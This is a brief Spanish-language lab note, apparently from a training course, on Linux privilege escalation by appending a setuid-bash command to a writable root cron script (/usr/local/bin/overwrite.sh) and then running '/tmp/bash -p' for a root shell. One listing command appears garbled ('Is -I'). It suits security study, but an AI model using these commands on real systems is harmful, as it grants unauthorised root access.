

Elevación en Linux - cron (File Overwrite)

## **Escalada de Privilegios**

## **Cron (File Overwrite)**

- Verificamos la crontab
  - cat /etc/crontab
  - Is -I /usr/local/bin/overwrite.sh
- Para hacer la escalada de privilegios
  - echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'
    >> /usr/local/bin/overwrite.sh
  - Esperar 1 minuto
  - /tmp/bash -p
  - id

## THE BRIDGE
